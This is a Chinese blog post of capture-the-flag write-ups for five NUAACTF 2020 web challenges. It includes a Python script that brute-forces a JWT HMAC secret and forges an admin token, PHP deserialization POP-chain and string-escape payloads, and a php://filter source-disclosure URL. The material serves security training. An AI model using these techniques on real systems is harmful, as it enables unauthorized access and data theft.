NUAACTF-2020 web 解题思路分享

是阳间题
感谢喵师傅的环境,膜:https://miaotony.xyz/2020/05/30/CTF_2020NUAACTF/
web1-checkin
ctrl+u的,没注意到在下面,后来在返回包的html里才看见。。。
nuaactf{we1cOme_to_NuaAcTF}
nuaactf{we1cOme_to_NuaAcTF}

web2-jwt
关于jwt和jwt伪造,膜:https://blog.csdn.net/qq_45521281/article/details/106073624
github上有一个爆破jwt-secret的工具,膜:https://github.com/brendan-rius/c-jwt-cracker
知道原理后我们也可以自己写脚本:
首先随便注册一个号,登上去,看到自己的JWT:

JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhbmFvIn0.r8MVWvxF0V8QVmMYn8dMdfSUBAkc1f5LosyaOHoSPbU

把前两部分b64decode,有:

{"alg":"HS256","typ":"JWT"}
{"username":"hanao"}

然后根据加密方式和结果爆破出密码:(python3.8.2)

import hashlib
import hmac
import base64

chars = ["","0","1","2","3","4","5","6","7","8","9","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"]
before = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhbmFvIn0".encode('utf-8')
secret = ""
after = "r8MVWvxF0V8QVmMYn8dMdfSUBAkc1f5LosyaOHoSPbU=".encode('utf-8')
#这里要用'='把after补够4的倍数位,方便比较
for i in range(0,62):
   for j in range(0,62):
        for k in range(0,62):
            for l in range(0,62):
                secret = chars[i] + chars[j] + chars[k] + chars[l];
                secret = secret.encode('utf-8')
                result = base64.b64encode(hmac.new(secret, before, digestmod=hashlib.sha256).digest())
                if result == after:
                    print(secret)
                    exit()

用时大概一分钟
用时大概一分钟;
之后就是根据之前的数据伪造JWT;

{"alg":"HS256","typ":"JWT"}
{"username":"admin"}

分别urlbase64后加点进行hmac-sha256;最终伪造出的JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.SYQ-AGwY5XIcxY621ToK8zEgomHE0Bla9tAUWTLxnwA
然后抓包修改JWT,再进入个人中心即可。
nuaactf{haojiGuoGuoTql}
nuaactf{haojiGuoGuoTql}

web3-easypop
直接给了我们代码
没什么逻辑,直接整就行:(PHP)

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data;
}
echo urlencode(serialize(new lemon()));
?>

运行结果:

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D

访问:

http://139.9.221.0:8088/?d=O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D

nuaactf{you_can_really_p0p}
nuaactf{you_can_really_p0p}

web4-command inj
查看源码发现include.php
访问发现?file=index,文件读取:

http://139.9.221.0:8092/include.php?file=php://filter/read=convert.base64-encode/resource=include

伪协议相关,膜:https://blog.csdn.net/Ni9htMar3/article/details/69812306?locationNum=2&fps=1
文件包含相关,膜:https://blog.csdn.net/qq_42181428/article/details/87090539
解码后:

<?php  error_reporting(0);
@$file = $_GET["file"];
if(isset($file)) {
	if (preg_match('/http|data|ftp|input||flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100) {
		echo "<p> error! </p>";
	} else {
		include($file.'.php');
		setcookie("tips","createfun.php");
	}
} else {
	header('Location:include.php?file=index');
}
?>

提示createfun.php,再读一次;

<?php
$func = @$_GET['func'];
$arg = @$_GET['arg'];
if(isset($func)&&isset($arg)){$func($arg,'');}

PHP变量名可以当函数用,题目有提到command,试图用很多方式执行命令,但是都报错了,执行不了。惨惨。
考虑到第一个PHP中过滤了flag关键字,猜测flag在flag.php中,show_source:
nuaactf{php_IS_thE_best_language}
nuaactf{php_IS_thE_best_language}

web5-escape
直接给了源码:
关于PHP的魔术方法:https://www.php.net/manual/zh/language.oop5.magic.php
首先是一个单次的过滤,可以双写绕过。
然后,在类C中提示flag.php,所以要让C的成员变量为:flaflagg.php,通过file_get_contents()得到flag
然后让类B的属性b等于类C,就会调用C中的__toString方法。
序列化如下:

<?php
class B{
	public $b;
}
class C{
	public $c = "flaflagg.php";
}

$a = new B();
$a->b = new C();
echo serialize($a);
?>

构造出:O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:12:"flaflagg.php";}}
题目中,序列化对象$a后,将字符串中的flag关键字过滤掉了,很明显是反序列化字符逃逸了,长度变化为4~0:
反序列化字符逃逸详解,膜:https://xz.aliyun.com/t/6718
不断尝试,可以构造:(特别注意最后文件名的字符长度为8,不是12)

?a=flagflagflagflagflagflag&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flaflagg.php";}}

这样的程序执行过程:
赋值:
$a->a=flagflagflagflagflagflag;
$a->b=1";s:8:“password”;O:1:“B”:1:{s:1:“b”;O:1:“C”:1:{s:1:“c”;s:8:“flaflagg.php”;}};
序列化后为:

O:1:"A":2:{s:8:"username";s:24:"flagflagflagflagflagflag";s:8:"password";s:71:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flaflagg.php";}}";}

过滤后为:

O:1:"A":2:{s:8:"username";s:24:"";s:8:"password";s:71:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

再反序列化时,A的实例的username成员变量会读取24个字符,即:";s:8:“password”;s:71:"1这一段;
后面的就会被读成类B的一个实例,这个实例中的成员变量又是类C的一个实例。最后执行。
flag{you_can_readlly_dance}
flag{you_can_readlly_dance}

**> **> **> **

P.S. 最后这个并不是很懂。。。如果理解有误,烦请各位师傅指正~感谢


  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值